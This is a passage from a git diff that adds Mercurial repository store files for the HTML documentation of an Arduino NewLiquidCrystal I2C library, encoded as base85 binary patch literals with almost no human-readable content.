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 C!vJOg literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______i2__c__8h.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______i2__c__8h.html.i new file mode 100644 index 0000000000000000000000000000000000000000..b4f365e508e5c223c6a31280558bf2f807145660 GIT binary patch literal 6467 zcmbVPbyQScw4b3v>28qD0ck;cWDt;&7;5N7x{*dY2BcfM8wW&5ks1U6Nku7<4haEy zGd$n-zW2{t>%G0!*=MhP_g&|=fBW2X_5}a|K)|iwdjJ63RR3uMXm0+Bf#A>SQL48U zZJFLoolyfN1W^lRe`9VZzq}c!i|4{?sy_wh#ZT=Ptjl3v%*hVMGD=-+)7sNYCC;8( zMsh^ZSu{0=9_;U@TGP|3^33~)yHto}Bq4K=QUUCUv!RR4-sPLOCPlFY1Sjj;T{WY? zK8}g524b20t38J6v(@Eal+_u0KQvRhH*!W}@Fu#>BS{PFWgq-{v+iMJHan`5*xg0H zKY37{(>pu?M<(*?YBYsRw_q?=u*F?InA7W8uBUf#pe;Vg646L07HE3688kVBN$Wth zHMQ*c9z?KY%Q`8&ty4ha7)WHqxQT7zb3K5fhWDryu1I=gKcN){%iPB}W zRd&#feKa4AFO`cSm&_d?G@~SQ4|rTJ8B>ng7AHp9Kf2J<<}9`b86iI@AdGf3{6G

k&6|Sf@KUUo^w;-;2LaJp+vQ;-3e*vgmcnW52nZbGxhiL`Y1061{4oMA! zeZQZ-e*vZ%XtSiKfu$XH&|Jz+kWz>h9l49yP9~3@!f6>Hor)r4@Q;7!xi<2H_(PIh zvteOxr=0^#q@)5dOGDDteqhFDvE^usLW@1QC=^>vU5j)a3L$ST+*?@)Y{IpeRh(m8 zKb=|Sd4KER_V0bB#AbPVns_hJ)58a=&m*ZQC`=MN%p>}^!8R_|azM0iO%Z^ljz$n7Jhw%R$nX1eY@+SJ+P!B=B%-A0Uz_>@30rcv+8a$)J!h42ADB8j@qO>OBPb zkDh`z)sQ5~ENiwH@K4r!1Z9c=eOj!9y6@N3;|GWjwD!JT5y_3IXEXCyRJ$lssR`E1 zRjnS)An<=}uzlwBt4$;NLAJD?%KpSpdERRNso1vYP0qmwsY62Ama(T;e|mdNWmG93 zE*?cacCgZxa|fKN=e;Hh_#*QuB6o^K2eEC-4TFa2o$cfY6KNyk>?V0m@K6Zr~Vi$VEig> zdw4k`G+HEUDELiX?)vGM6DB7yJ1!a*Vy0Nc!u?sQzWfM2@zUnMB`U!dk5&PS1&U{Vacm#A};*L}{B`dZe>jr0vY7#hr*U^}Mt( zA&Q~*>S6DCPB#2)7q9bN#>0fL*dtqn1fim%?-avCg>L1DZJ2tSA7v9woH36Z_T2_P z`a{x69jCnY7#>3Z0X5wUhSQ1Nu6tkHycNj1#8*p_AdBw+IEgu5kIgWgS2d!FZ4)Bz zFu~d}AlWx@kHWHaqs<6|-`{glBOKe@ZhE-wpHU*AgY(=)H$+?h#;SDXS{cYWMZs{i z0HQf6X7J(cH$*<|flFe<3&~}2*@6qkO#sh22Wd(Abc4vLk+Z$B6h2JR3L>OR6^EP? z#AFT*-y)pA(R^@L(L}ODx}T$1Y{D8pVO93A)XLMnq5dVz?)6OP{%@K) z*pPRm>+O}+#jf0UAG-fwx5|KsygnbPP18z0msH~`Hxk&XQ7Iu3sDSp4p;%ODPi zj#fqC7^lJLeFBB^lgCwk3l_vzc?z95TYf<@CgldXAid{Cn*JiywU5nGp^0tKHhn|F zPDXIoOXys2g7|_(jrKm)OU_fFhx2&tzt?U;465{Z3cn(4K{bz^?$R~8YT3**GU_e# zRxUeuL)vs3lAXU3eZ7`C-~M^jKh(9nVZaokG-^Da5}MyS_;V)38~ju;XU3;Op>sE& zX1+>#R4(|7Q{d)Vi|mdUpZ9`A!t{eW%?@pRD5d>QEB)^8%7sY1cZgu#DL%p35V_n4 z9Ba>RB39-UFk>X9^s||++C|59dd9i4uS;?cp5A<2E%}>Rvmjj>(=DY3c{bV}t5TUVYHXBnZ{3BvnL7k{9 z6hQQR$hfZY^0UWXI|&0_-`U3K8K1(p;N_@T@7CdySMg6Se>xD=Hq5)aUQ0}ui8P8^ 